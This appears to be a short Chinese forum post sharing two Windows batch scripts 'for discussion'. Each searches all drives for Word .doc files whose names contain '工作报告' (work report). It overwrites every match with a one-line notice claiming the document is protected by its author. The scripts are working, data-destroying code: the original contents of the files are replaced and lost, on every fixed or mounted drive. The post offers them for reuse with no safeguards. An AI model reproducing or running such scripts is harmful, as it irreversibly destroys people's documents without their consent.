别处解到二段代码,放到此处交流.
第一个:
- @echo off
- for /f %%1 in ('mountvol^| find ":\"')do (cd /d %%1
- for /f "delims=" %%2 in ('dir /s /b *.doc^| find "工作报告"')do echo 本文档被原作者保护,复制无效>"%%2")
- exit
复制代码
第二个:
-
- @echo off&setlocal enabledelayedexpansion
- echo 正在搜索硬盘中的所有WORD文件,请耐心等待...
- for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v "A"') do (
- set var=%%i
- set dri=!var:~-2!
- fsutil fsinfo drivetype !dri!|find "固定">nul &&(
- for /f "delims=" %%j in ('dir /s /a-d /b !dri!\*.doc^|find "工作报告"') do echo.本文档被原作者保护,复制无效>"%%j"
- )
- )
- cls
- echo.已经完成对所有WORD文档的修改!&&echo.&&pause
复制代码
|